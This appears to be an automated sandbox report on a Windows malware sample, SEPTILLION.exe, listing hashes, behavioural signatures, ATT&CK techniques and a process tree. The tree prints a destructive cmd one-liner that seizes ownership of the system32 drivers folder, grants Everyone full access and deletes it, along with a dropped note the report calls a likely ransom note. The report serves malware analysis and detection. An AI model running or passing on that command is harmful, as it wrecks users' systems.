cb029e358a21ceae350331ee73971f2f734934ecf088af7cdd2bf72e0dc334d4

Analysis

max time kernel
93s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2024, 22:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SEPTILLION.exe
Size 2.0MB
Sample240801-1yl7vssfrc
SHA256 cb029e358a21ceae350331ee73971f2f734934ecf088af7cdd2bf72e0dc334d4
MD5 14b5e599ce1b08304dcafd587c2a90bf
SHA1 758e7cf490a24779d3f5c2f4d42c28d9b164affd
SHA512 956262929475dbdadb9383c9146475b00c299ad5c1b006ef7dd0d5123d16a9f4b4206426f6091f577296c1ff44a9dc2a8806929b3f585e0e838c3445c02b7de1
SSDEEP 24576:Tv42PErMSbmnwzk5U2bXJkTJ4Oe6zIFWJ:742RSbmwzk5U8SJ/pH
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery exploit

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\system32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2772	takeown.exe
3352	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	SEPTILLION.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2772	takeown.exe
3352	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	\??\c:\windows\system32\note.txt	SEPTILLION.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
628	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4508	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3408	chrome.exe
3408	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2772	takeown.exe
Token: SeDebugPrivilege	628	taskkill.exe
Token: SeShutdownPrivilege	3408	chrome.exe
Token: SeCreatePagefilePrivilege	3408	chrome.exe
Token: SeShutdownPrivilege	3408	chrome.exe
Token: SeCreatePagefilePrivilege	3408	chrome.exe
Token: SeShutdownPrivilege	3408	chrome.exe
Token: SeCreatePagefilePrivilege	3408	chrome.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe
3408	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 2980	4524	SEPTILLION.exe	87
PID 4524 wrote to memory of 2980	4524	SEPTILLION.exe	87
PID 4524 wrote to memory of 4508	4524	SEPTILLION.exe	89
PID 4524 wrote to memory of 4508	4524	SEPTILLION.exe	89
PID 2980 wrote to memory of 2772	2980	cmd.exe	90
PID 2980 wrote to memory of 2772	2980	cmd.exe	90
PID 2980 wrote to memory of 3352	2980	cmd.exe	91
PID 2980 wrote to memory of 3352	2980	cmd.exe	91
PID 4524 wrote to memory of 628	4524	SEPTILLION.exe	92
PID 4524 wrote to memory of 628	4524	SEPTILLION.exe	92
PID 3408 wrote to memory of 780	3408	chrome.exe	98
PID 3408 wrote to memory of 780	3408	chrome.exe	98
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 4272	3408	chrome.exe	99
PID 3408 wrote to memory of 3828	3408	chrome.exe	100
PID 3408 wrote to memory of 3828	3408	chrome.exe	100
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101
PID 3408 wrote to memory of 1140	3408	chrome.exe	101

C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe
"C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /s /q /f c:\windows\system32\drivers && exit
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2772
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\drivers\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3352
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" c:\windows\system32\note.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4508
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im notepad.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:628

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff834dfcc40,0x7ff834dfcc4c,0x7ff834dfcc58
  2⤵
  PID:780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2156,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2160 /prefetch:2
  2⤵
  PID:4272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1816,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2284 /prefetch:3
  2⤵
  PID:3828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2300,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2396 /prefetch:8
  2⤵
  PID:1140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:1308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:2900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4564,i,12215824386394316646,14780792969381010896,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=4556 /prefetch:1
  2⤵
  PID:2732

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 9bb568ab10a379c3c8632552b7c9b70e8adbb202e434a2e7d40e9ec5dae5fb59
MD5 a0a355806e01f08152d9b51de48c3a8c
SHA1 ec65bc8decd8df30abc888b019c75b2c159429c6
SHA512 3cb54c68533faad2beec45d4b7571a20da48038321e58ff3e8daf93e0fc63ebdebd27c564cfb7bd7a5faa16733da38544a2422e5d4dabc64b397be35d71b82a9
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 356B
SHA256 7c9fd4d3d4691b57911592a9c7411d49dd38c7168994f3650ea2657ba9534509
MD5 e181d0ea4d3b36a270af89e721edb3b7
SHA1 e8b96f47a3db11634b6a626ea8f5320581472bad
SHA512 0db0e004b8f7b47ea571815693553bf67ca7cd46b390efc899e9548369398709f7b7b2a0f7c4f1a8c0fe0601c8751db2bec71869d623656f06714d5710c95a29
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 8KB
SHA256 5cac22a0cfb9ecbf62df0aaa2e674181c66d70c3436d4de07a7e026c3ccfc751
MD5 3be64f757cdb5e02d5786d4f5098dd9c
SHA1 a54adce37a57f8ee80cb9f3d1b2ea07e2d0acdfc
SHA512 7319cba6c7205f066bc16e0c4051f2a8fbd899c086ebdc94e087e490bea0eafc7861436a6dc64d1c7d2b963daa3ab6ecdcc1e0b15f8191d5491f67de7b4795e8
SSDEEP 192:f98HpHnSvThejaHV+FRDZ0do6yIsnVdg4:f98JSrsuGRVu4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 100KB
SHA256 e4dc87005aecca6cbbe4d0a96b5e16aac5701e6bd1e898f18bf663b59afaac6b
MD5 0ef223c7705d51d38b7615412c5dc241
SHA1 71ece82abf953e988a233fb2ac5430201ac81be5
SHA512 d35dd339aa32b49cdb80cc9c0f2a6cf9b23eaf68e2fff0ddfbe26b9922cb4bb46e71b922590e0fa8d868f7eafb7b2abb049b43b34be5690a24988dfb3761d963
SSDEEP 3072:JAG6A4Y1egVTsCTPQRdt/GUikBAhwYh6iN1rzio4FG:JN9JzpQ8eBirOo4E
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

note.txt

Path \??\c:\windows\system32\note.txt
Size 103B
SHA256 57d57023a94931f62d3f5d1a72c93708db78f30117e50a8497826b5b95d3babb
MD5 7aa2ee17550a109688c931e02ec57a16
SHA1 5cb09086694a0ec5f4d5f7c7f3c9bb4e7027d222
SHA512 fcc8aee7f8d4725ae9a03eda97fa93fd242a161747294c861eca149fdaf8358e11f6f29aefde33796ff4d76f6d7765b3e23817836ec2706ae22a4903f309f089
MD5 SHA1 SHA512

Submit Download

memory/4524-0-0x00007FF73EBE0000-0x00007FF73EEB2000-memory.dmp

Download

memory/4524-111-0x00007FF73EBE0000-0x00007FF73EEB2000-memory.dmp

Download

memory/4524-112-0x00007FF73EBE0000-0x00007FF73EEB2000-memory.dmp

Download